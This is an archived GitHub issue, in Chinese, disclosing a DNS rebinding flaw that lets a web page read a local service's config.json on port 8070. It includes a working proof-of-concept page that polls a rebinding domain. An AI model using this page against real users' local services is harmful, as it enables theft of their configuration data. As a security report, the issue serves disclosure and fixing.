Skip to content
This repository has been archived by the owner on Jan 12, 2024. It is now read-only.

通过dns rebinding可以获取8070端口的配置文件 #256

Open
JKme opened this issue Jun 5, 2019 · 1 comment
Open

通过dns rebinding可以获取8070端口的配置文件 #256

JKme opened this issue Jun 5, 2019 · 1 comment

Comments

@JKme
Copy link

JKme commented Jun 5, 2019

漏洞和这个内容类似: https://xlab.tencent.com/cn/2018/10/23/weixin-cheater-risks/

在本地起了web服务之后,可以通过dns rebinding绕过SOP限制,获取config.json文件。mac上大概是等1分多钟。

测试代码借的这里: https://0x0d.im/archives/get-visitor-qq-number-through-dns-rebinding.html

<!DCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Rebind Test</title>
    </head>
    <body>
        <script src="http://upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
        <script>
        function GetUin(){
	    console.log("Testing");
            $.ajax({
            url: "http://rebind.0x80.xyz:8070/config.json",
            type: "GET",
            dataType: "text",
            success: function(data){
                alert(data);
		console.log(data);
                }
            });
        }
        setTimeout("GetUin()", 5000);
	setTimeout("GetUin()", 7000);
	setTimeout("GetUin()", 8000);
	setTimeout("GetUin()", 30000);
        setTimeout("GetUin()", 60000);
        setTimeout("GetUin()", 90000);
        </script>
    </body>
    </html>

WX20190605-101237@2x

@zou2699
Copy link

zou2699 commented Jun 11, 2019

目前这个8070端口绑定的是0.0.0.0,这个可能十分的危险

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants